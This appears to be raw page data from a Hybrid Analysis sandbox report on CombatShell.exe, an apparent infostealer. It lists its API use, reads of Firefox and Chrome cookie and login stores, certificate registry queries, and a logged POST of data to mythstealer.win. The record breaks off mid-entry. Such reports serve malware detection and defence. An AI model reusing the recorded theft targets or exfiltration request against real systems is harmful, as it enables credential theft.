26:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/23qlsjvno4-wq.js","/_next/static/chunks/11pkz44bx8x1b.js","/_next/static/chunks/04k_7k5p4krw4.js"],"ReportDetailWrapper"] 58:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 25:T4d6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious — Falcon Sandbox Report 68614625c15d… — Score 100/100 — Sample b1912bafc809…","description":"Malicious verdict for sandbox report 68614625c15d…. Threat score 100/100. 8 malicious and 6 suspicious behavioral indicators across 224 signatures. Detonated in Windows 11 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc/68614625c15ddf3ec90a7a53","keywords":["Malicious","sandbox report","malware analysis","MITRE ATT\u0026CK","b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc"],"about":{"@type":"SoftwareApplication","name":"CombatShell.exe","applicationCategory":"PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 10 sections","identifier":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","additionalType":"Malicious sample"},"threatScore":100,"sandboxEnvironment":"Windows 11 64 bit","behavioralIndicators":{"malicious":8,"suspicious":6,"totalSignatures":224},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T48c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADL0lEQVR4Xu1VW0iaYRj2pl0UsXIW6yAs7CCsrIiiu6KlqxjSAbvoYMuCSjtR1qKM0C2ijTwxi4jWwovSrLSDGtiBGEEb7aKu1tVuFnQ3gmgLxrP3/8eCtbupFwMfePhF8Xuf/3mf9/04nBBCCOF/hFQqRWVlJaqqqv6iQqFAfX09bv8nYGhra8Py8jI8Hje8Xs8NPR7m6cXMzAyKioqCJ8But2NzcxN2mwN2+/INV1ZcODr6iOnpaWRmZgZHQEFBAdbX1zE+rkexVAtxqRFisRHFxUZUV5uwu/sORqMRIpEoOAJycnJIwBpaW56BI7CDE3VChY6JJ+Dz9+HzHcBkMgVHgFgsRkZGBlwuF9pVGtzJ+AAO9wcVAsvExC8k4DA4AqxWK7RaLbKysqjXK9DrLUhP9yAs7Bzh4d9YpqR8xvZ2EASYzWZsbW1hfn4eDQ0N1OddnJ5+glI5TCL0qKg4Rnn5MRobD7C//x4Ggx55eXmoq6tDX1+f/0ImJyfZt3Y4HBgbGwPjhs+3Q+F7go4OFVZXHZQLJ9HFTodarUZtbS1GR0eRn5/vvwCdToe5uTc4PDzA3t4OzGYjOfECkZGP6M2l6OzsRHd3N8vfnw0GAzQaDYRCof8CpNJ7kMls6O+/IH4l25XU8y7weDIMD2uwsLAAm83GcnFxEU6nE1NTU+jt7UVaWpr/AhhERCwhKuoK0dHfKXivkZ39ima/BiqVEnI502s1dDot7QIZenp6MDExQd/LaTISAyMgIcFBdl4Rr5Gbu0TLxkF9lqOsrJAsL6Xkt8JiUVLwJBRGBZqbm8HsjNvn/DNGRhwUsCva99eUgQ243V7U1NQgJuYuCgsfoLT0IUpKRDSmAqSmpiM5WUhuxQdOgI32/sXFFS4vr7Gx4aaRfAuJRHJTQK1upz3xFENDtUQ53YaSwNnPgBm9s7MznJ+fY3Z2lr1yY2Nj2QJM8q3WORJmwdraS7qYnlMAH5MDEYET0NLSwgaLuWiYcPH5fPZwmUzGOsGM3uBgFwYG2tDUJKOQ/vo9YIiPj6dVm0L9TUVcXNwfh3O5XAgEAiQlJbNPHu9+YIuHEEIIwcZPczYXfAwK40QAAAAASUVORK5CYII=28:T48c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADL0lEQVR4Xu1VW0iaYRj2pl0UsXIW6yAs7CCsrIiiu6KlqxjSAbvoYMuCSjtR1qKM0C2ijTwxi4jWwovSrLSDGtiBGEEb7aKu1tVuFnQ3gmgLxrP3/8eCtbupFwMfePhF8Xuf/3mf9/04nBBCCOF/hFQqRWVlJaqqqv6iQqFAfX09bv8nYGhra8Py8jI8Hje8Xs8NPR7m6cXMzAyKioqCJ8But2NzcxN2mwN2+/INV1ZcODr6iOnpaWRmZgZHQEFBAdbX1zE+rkexVAtxqRFisRHFxUZUV5uwu/sORqMRIpEoOAJycnJIwBpaW56BI7CDE3VChY6JJ+Dz9+HzHcBkMgVHgFgsRkZGBlwuF9pVGtzJ+AAO9wcVAsvExC8k4DA4AqxWK7RaLbKysqjXK9DrLUhP9yAs7Bzh4d9YpqR8xvZ2EASYzWZsbW1hfn4eDQ0N1OddnJ5+glI5TCL0qKg4Rnn5MRobD7C//x4Ggx55eXmoq6tDX1+f/0ImJyfZt3Y4HBgbGwPjhs+3Q+F7go4OFVZXHZQLJ9HFTodarUZtbS1GR0eRn5/vvwCdToe5uTc4PDzA3t4OzGYjOfECkZGP6M2l6OzsRHd3N8vfnw0GAzQaDYRCof8CpNJ7kMls6O+/IH4l25XU8y7weDIMD2uwsLAAm83GcnFxEU6nE1NTU+jt7UVaWpr/AhhERCwhKuoK0dHfKXivkZ39ima/BiqVEnI502s1dDot7QIZenp6MDExQd/LaTISAyMgIcFBdl4Rr5Gbu0TLxkF9lqOsrJAsL6Xkt8JiUVLwJBRGBZqbm8HsjNvn/DNGRhwUsCva99eUgQ243V7U1NQgJuYuCgsfoLT0IUpKRDSmAqSmpiM5WUhuxQdOgI32/sXFFS4vr7Gx4aaRfAuJRHJTQK1upz3xFENDtUQ53YaSwNnPgBm9s7MznJ+fY3Z2lr1yY2Nj2QJM8q3WORJmwdraS7qYnlMAH5MDEYET0NLSwgaLuWiYcPH5fPZwmUzGOsGM3uBgFwYG2tDUJKOQ/vo9YIiPj6dVm0L9TUVcXNwfh3O5XAgEAiQlJbNPHu9+YIuHEEIIwcZPczYXfAwK40QAAAAASUVORK5CYII=29:T48c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADL0lEQVR4Xu1VW0iaYRj2pl0UsXIW6yAs7CCsrIiiu6KlqxjSAbvoYMuCSjtR1qKM0C2ijTwxi4jWwovSrLSDGtiBGEEb7aKu1tVuFnQ3gmgLxrP3/8eCtbupFwMfePhF8Xuf/3mf9/04nBBCCOF/hFQqRWVlJaqqqv6iQqFAfX09bv8nYGhra8Py8jI8Hje8Xs8NPR7m6cXMzAyKioqCJ8But2NzcxN2mwN2+/INV1ZcODr6iOnpaWRmZgZHQEFBAdbX1zE+rkexVAtxqRFisRHFxUZUV5uwu/sORqMRIpEoOAJycnJIwBpaW56BI7CDE3VChY6JJ+Dz9+HzHcBkMgVHgFgsRkZGBlwuF9pVGtzJ+AAO9wcVAsvExC8k4DA4AqxWK7RaLbKysqjXK9DrLUhP9yAs7Bzh4d9YpqR8xvZ2EASYzWZsbW1hfn4eDQ0N1OddnJ5+glI5TCL0qKg4Rnn5MRobD7C//x4Ggx55eXmoq6tDX1+f/0ImJyfZt3Y4HBgbGwPjhs+3Q+F7go4OFVZXHZQLJ9HFTodarUZtbS1GR0eRn5/vvwCdToe5uTc4PDzA3t4OzGYjOfECkZGP6M2l6OzsRHd3N8vfnw0GAzQaDYRCof8CpNJ7kMls6O+/IH4l25XU8y7weDIMD2uwsLAAm83GcnFxEU6nE1NTU+jt7UVaWpr/AhhERCwhKuoK0dHfKXivkZ39ima/BiqVEnI502s1dDot7QIZenp6MDExQd/LaTISAyMgIcFBdl4Rr5Gbu0TLxkF9lqOsrJAsL6Xkt8JiUVLwJBRGBZqbm8HsjNvn/DNGRhwUsCva99eUgQ243V7U1NQgJuYuCgsfoLT0IUpKRDSmAqSmpiM5WUhuxQdOgI32/sXFFS4vr7Gx4aaRfAuJRHJTQK1upz3xFENDtUQ53YaSwNnPgBm9s7MznJ+fY3Z2lr1yY2Nj2QJM8q3WORJmwdraS7qYnlMAH5MDEYET0NLSwgaLuWiYcPH5fPZwmUzGOsGM3uBgFwYG2tDUJKOQ/vo9YIiPj6dVm0L9TUVcXNwfh3O5XAgEAiQlJbNPHu9+YIuHEEIIwcZPczYXfAwK40QAAAAASUVORK5CYII=2a:Tb35,Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "CombatShell.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "CombatShell.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "CombatShell.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "CombatShell.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "CombatShell.exe") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "CombatShell.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "CombatShell.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "CombatShell.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")2b:T4f4,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "CombatShell.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "CombatShell.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "CombatShell.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "CombatShell.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")2c:T4d8,Contains base64 string in header "host" in header "GET / HTTP/1.1accept: */*host: api.ipify.org" Contains base64 string in header "POST" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win" Contains base64 string in header "1key" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win" Contains base64 string in header "myth" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win" Contains base64 string in header "e8552bc3" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win" Contains base64 string in header "type" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win" Contains base64 string in header "host" in header "POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win"2d:T412,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings2e:T9ea,"CombatShell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644) "CombatShell.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644) "CombatShell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000000000f87f00000000eb218c0200000000000000000000020000000000000000000000c2000000000000000000000056c3b46cf87f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000380ddd65f87f000000000000000000001033b46cf87f0000404905268c020000304905268c02000000000000000000007a0cdd65f87f0000404905268c020000404905268c020000404905268c02000000000000000000000000000000000000d0a2bf88c200000000000000000000003b4d586af87f0000304905268c0200001033b46cf87f00003428d7ea (UID: 00000000-00005644) "CombatShell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)2f:Tb16,Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "CombatShell.exe") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; File: "CombatShell.exe") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; File: "CombatShell.exe") Found reference to API "66170002347,4752,115,,GetMonitorInfoW,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66244794347,4752,115,,GetMonitorInfoW,user32.dll,"01:15:04.343",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66191848519,4752,115,,GetMonitorInfoW,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66265979761,4752,115,,GetMonitorInfoW,user32.dll,"01:15:04.343",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "104979610012,4752,115,,GetMonitorInfoW,user32.dll,"01:15:20.468",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "105030578694,4752,115,,GetMonitorInfoW,user32.dll,"01:15:20.500",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104880967342,4752,115,,GetMonitorInfoW,user32.dll,"01:15:20.437",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "88144797335,4752,115,,GetMonitorInfoW,user32.dll,"01:15:13.453",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104955332690,4752,115,,GetMonitorInfoW,user32.dll,"01:15:20.468",RX=0,PX=0" (Indicator: "GetMonitorInfo"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp")30:T9f1,Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "CombatShell.exe") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "CombatShell.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "CombatShell.exe") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "CombatShell.exe") Found reference to API "66266187581,4752,109,,GetWindowTextW,user32.dll,"01:15:04.343",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66192032103,4752,109,,GetWindowTextW,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66170255583,4752,109,,GetWindowTextW,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66245043131,4752,109,,GetWindowTextW,user32.dll,"01:15:04.343",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "104892055646,4752,107,,GetActiveWindow,user32.dll,"01:15:20.437",RX=0,PX=0" (Indicator: "GetActiveWindow"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104979846792,4752,109,,GetWindowTextW,user32.dll,"01:15:20.468",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "105030823666,4752,109,,GetWindowTextW,user32.dll,"01:15:20.500",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104903918578,4752,109,,GetWindowTextW,user32.dll,"01:15:20.437",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")31:T1025,"CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles" at 00000000-00005644-00000C17-3481757190 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles" at 00000000-00005644-00000C17-3481757732 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release" at 00000000-00005644-00000C17-3481759007 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite" at 00000000-00005644-00000C17-3481762020 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default" at 00000000-00005644-00000C17-3481763080 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite" at 00000000-00005644-00000C17-3481764757 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data" at 00000000-00005644-00000C17-3481795164 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates" at 00000000-00005644-00000C17-3481799952 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation" at 00000000-00005644-00000C17-3481801165 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt" at 00000000-00005644-00000C17-3481802462 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ClientSidePhishing" at 00000000-00005644-00000C17-3481803269 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad" at 00000000-00005644-00000C17-3481804594 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny" at 00000000-00005644-00000C17-3481805692 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default" at 00000000-00005644-00000C17-3481806769 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" at 00000000-00005644-00000C17-3481826048 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies" at 00000000-00005644-00000C17-3481827171 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" at 00000000-00005644-00000C17-3481828603 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded" at 00000000-00005644-00000C17-3481830234 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" at 00000000-00005644-00000C17-3481831626 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" at 00000000-00005644-00000C17-3481832556 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache" at 00000000-00005644-00000C17-3481833403 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache" at 00000000-00005644-00000C17-3481834555 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data" at 00000000-00005644-00000C17-3481835690 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" at 00000000-00005644-00000C17-3481836891 "CombatShell.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Version" at 00000000-00005644-00000C17-348183771932:Ta1c,"CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")33:T5d8,"CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "CombatShell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: 